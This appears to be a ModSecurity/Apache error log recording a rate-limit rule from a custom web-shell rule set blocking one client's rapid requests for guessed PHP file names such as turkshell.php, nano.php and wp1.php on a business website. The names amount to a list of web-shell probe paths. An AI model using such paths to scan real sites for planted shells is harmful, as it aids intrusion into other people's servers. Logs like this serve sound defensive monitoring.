[Fri Apr 10 23:29:47.414226 2026] [:error] [pid 13189:tid 13208] [client 158.158.53.142:52137] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adkXa5AxiJKPums3eBAMrwAAAFA"]
[Fri Apr 10 23:29:47.898050 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:48867] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adkXa5AxiJKPums3eBAMsQAAAFY"]
[Fri Apr 10 23:29:48.478185 2026] [:error] [pid 62819:tid 62824] [client 158.158.53.142:52157] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adkXbPU20EyPf7NlsleFmgAAAoI"]
[Fri Apr 10 23:29:49.041698 2026] [:error] [pid 62651:tid 62654] [client 158.158.53.142:51506] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adkXbTbAH0le57SIaqw5RwAAAcE"]
[Fri Apr 10 23:29:49.522726 2026] [:error] [pid 13189:tid 13208] [client 158.158.53.142:51464] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adkXbZAxiJKPums3eBAMugAAAFA"]
[Fri Apr 10 23:29:50.110540 2026] [:error] [pid 62769:tid 62776] [client 158.158.53.142:48851] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adkXbsWsSnfLoB8ifjDDogAAAkU"]
[Fri Apr 10 23:29:50.649587 2026] [:error] [pid 13189:tid 13211] [client 158.158.53.142:51490] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adkXbpAxiJKPums3eBAMvgAAAFM"]
[Fri Apr 10 23:29:51.332424 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:48911] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adkXb5AxiJKPums3eBAMwwAAAEo"]
[Fri Apr 10 23:29:51.886527 2026] [:error] [pid 13189:tid 13201] [client 158.158.53.142:49504] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adkXb5AxiJKPums3eBAMygAAAEk"]
[Fri Apr 10 23:29:52.446143 2026] [:error] [pid 62884:tid 62895] [client 158.158.53.142:51510] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adkXcOUCK1xrhnnmpo2bhAAAAsQ"]
[Fri Apr 10 23:29:53.061350 2026] [:error] [pid 62710:tid 62737] [client 158.158.53.142:49497] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adkXceME7qrf5xEWWJtHsgAAAhg"]
[Fri Apr 10 23:29:53.558931 2026] [:error] [pid 62710:tid 62725] [client 158.158.53.142:7934] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adkXceME7qrf5xEWWJtHtAAAAgw"]
[Fri Apr 10 23:29:54.095846 2026] [:error] [pid 13100:tid 13108] [client 158.158.53.142:48869] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adkXclzg-ZkZ0InWIP3SfAAAAQM"]
[Fri Apr 10 23:29:54.693064 2026] [:error] [pid 63134:tid 63146] [client 158.158.53.142:51513] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adkXctFALqPDwWi6eJLKXAAAA8k"]
[Fri Apr 10 23:29:55.270845 2026] [:error] [pid 63134:tid 63153] [client 158.158.53.142:52153] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adkXc9FALqPDwWi6eJLKYQAAA9A"]
[Fri Apr 10 23:29:55.792415 2026] [:error] [pid 13189:tid 13209] [client 158.158.53.142:52096] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adkXc5AxiJKPums3eBAM4AAAAFE"]
[Fri Apr 10 23:29:56.289128 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:51477] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adkXdJAxiJKPums3eBAM5QAAAFY"]
[Fri Apr 10 23:29:56.843442 2026] [:error] [pid 13189:tid 13204] [client 158.158.53.142:52102] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adkXdJAxiJKPums3eBAM7QAAAEw"]
[Fri Apr 10 23:29:57.398161 2026] [:error] [pid 62884:tid 62907] [client 158.158.53.142:52104] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adkXdeUCK1xrhnnmpo2bhgAAAtA"]
[Fri Apr 10 23:29:57.972089 2026] [:error] [pid 62710:tid 62724] [client 158.158.53.142:50147] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adkXdeME7qrf5xEWWJtHvgAAAgs"]
[Fri Apr 10 23:29:58.480741 2026] [:error] [pid 62651:tid 62677] [client 158.158.53.142:48847] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adkXdjbAH0le57SIaqw5UQAAAdg"]
[Fri Apr 10 23:29:59.063417 2026] [:error] [pid 62769:tid 62778] [client 158.158.53.142:52147] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adkXd8WsSnfLoB8ifjDDtwAAAkc"]
[Fri Apr 10 23:29:59.652020 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:50150] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adkXd8WsSnfLoB8ifjDDuwAAAlM"]
[Fri Apr 10 23:30:00.231003 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:52081] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adkXeMWsSnfLoB8ifjDDwgAAAko"]
[Fri Apr 10 23:30:00.796252 2026] [:error] [pid 63134:tid 63144] [client 158.158.53.142:51458] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adkXeNFALqPDwWi6eJLKYwAAA8c"]
[Fri Apr 10 23:30:01.385243 2026] [:error] [pid 63134:tid 63145] [client 158.158.53.142:48939] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adkXedFALqPDwWi6eJLKZwAAA8g"]
[Fri Apr 10 23:30:02.373554 2026] [:error] [pid 13189:tid 13211] [client 158.158.53.142:49521] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adkXepAxiJKPums3eBAM9AAAAFM"]
[Fri Apr 10 23:30:02.951035 2026] [:error] [pid 63062:tid 63071] [client 158.158.53.142:51468] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adkXep2HtsmV85NqkMcRYgAAA4c"]
[Fri Apr 10 23:30:10.930401 2026] [:error] [pid 63062:tid 63075] [client 158.158.53.142:51476] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adkXgp2HtsmV85NqkMcRdwAAA4s"]
[Fri Apr 10 23:30:11.473389 2026] [:error] [pid 13100:tid 13109] [client 158.158.53.142:50153] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adkXg1zg-ZkZ0InWIP3SiQAAAQQ"]
[Fri Apr 10 23:30:12.064834 2026] [:error] [pid 13101:tid 13139] [client 158.158.53.142:51497] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adkXhN8Ldw85818pj2ohzgAAAIY"]
[Fri Apr 10 23:30:12.666442 2026] [:error] [pid 13101:tid 13156] [client 158.158.53.142:7806] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adkXhN8Ldw85818pj2oh1AAAAJc"]
[Fri Apr 10 23:30:13.299472 2026] [:error] [pid 13101:tid 13153] [client 158.158.53.142:48860] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adkXhd8Ldw85818pj2oh1wAAAJQ"]
[Fri Apr 10 23:30:13.937930 2026] [:error] [pid 13189:tid 13215] [client 158.158.53.142:7757] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adkXhZAxiJKPums3eBANEgAAAFc"]
[Fri Apr 10 23:30:14.484697 2026] [:error] [pid 62769:tid 62786] [client 158.158.53.142:52141] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adkXhsWsSnfLoB8ifjDD2QAAAk8"]
[Fri Apr 10 23:30:14.966414 2026] [:error] [pid 13101:tid 13135] [client 158.158.53.142:48946] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adkXht8Ldw85818pj2oh2AAAAII"]
[Fri Apr 10 23:30:15.492322 2026] [:error] [pid 63134:tid 63154] [client 158.158.53.142:50172] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adkXh9FALqPDwWi6eJLKnQAAA9E"]
[Fri Apr 10 23:30:15.989690 2026] [:error] [pid 62884:tid 62894] [client 158.158.53.142:51484] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adkXh-UCK1xrhnnmpo2bkwAAAsM"]
[Fri Apr 10 23:30:16.463407 2026] [:error] [pid 63134:tid 63153] [client 158.158.53.142:52109] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adkXiNFALqPDwWi6eJLKnwAAA9A"]
[Fri Apr 10 23:30:17.012283 2026] [:error] [pid 63062:tid 63066] [client 158.158.53.142:49555] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adkXiZ2HtsmV85NqkMcRgAAAA4I"]
[Fri Apr 10 23:30:17.570020 2026] [:error] [pid 63062:tid 63078] [client 158.158.53.142:51498] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adkXiZ2HtsmV85NqkMcRggAAA44"]
[Fri Apr 10 23:30:18.183026 2026] [:error] [pid 63062:tid 63067] [client 158.158.53.142:52108] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adkXip2HtsmV85NqkMcRhQAAA4M"]
[Fri Apr 10 23:30:18.658604 2026] [:error] [pid 63062:tid 63075] [client 158.158.53.142:51461] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adkXip2HtsmV85NqkMcRiAAAA4s"]
[Fri Apr 10 23:30:19.230003 2026] [:error] [pid 63062:tid 63087] [client 158.158.53.142:7780] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adkXi52HtsmV85NqkMcRiwAAA5c"]
[Fri Apr 10 23:30:19.713327 2026] [:error] [pid 63062:tid 63068] [client 158.158.53.142:48835] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adkXi52HtsmV85NqkMcRjQAAA4Q"]
[Fri Apr 10 23:30:20.202308 2026] [:error] [pid 63062:tid 63079] [client 158.158.53.142:48857] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adkXjJ2HtsmV85NqkMcRkQAAA48"]
[Fri Apr 10 23:30:20.748723 2026] [:error] [pid 62819:tid 62827] [client 158.158.53.142:48836] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adkXjPU20EyPf7NlsleF3AAAAoU"]
[Fri Apr 10 23:30:21.327966 2026] [:error] [pid 62819:tid 62845] [client 158.158.53.142:48898] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adkXjfU20EyPf7NlsleF4QAAApc"]
[Fri Apr 10 23:30:21.838020 2026] [:error] [pid 13189:tid 13195] [client 158.158.53.142:8032] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adkXjZAxiJKPums3eBANHwAAAEM"]
[Fri Apr 10 23:30:22.312364 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:52127] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adkXjsWsSnfLoB8ifjDD7gAAAlE"]
[Fri Apr 10 23:30:22.855530 2026] [:error] [pid 62769:tid 62783] [client 158.158.53.142:52044] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adkXjsWsSnfLoB8ifjDD9QAAAkw"]
[Fri Apr 10 23:30:23.360547 2026] [:error] [pid 62769:tid 62773] [client 158.158.53.142:52142] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adkXj8WsSnfLoB8ifjDD-AAAAkI"]
[Fri Apr 10 23:30:23.845777 2026] [:error] [pid 62769:tid 62792] [client 158.158.53.142:52120] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adkXj8WsSnfLoB8ifjDEAAAAAlU"]
[Fri Apr 10 23:30:24.406484 2026] [:error] [pid 62769:tid 62789] [client 158.158.53.142:48861] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adkXkMWsSnfLoB8ifjDECAAAAlI"]
[Fri Apr 10 23:30:24.969161 2026] [:error] [pid 62769:tid 62779] [client 158.158.53.142:48908] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adkXkMWsSnfLoB8ifjDEEwAAAkg"]
[Fri Apr 10 23:30:25.457212 2026] [:error] [pid 62884:tid 62904] [client 158.158.53.142:7768] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adkXkeUCK1xrhnnmpo2bngAAAs0"]
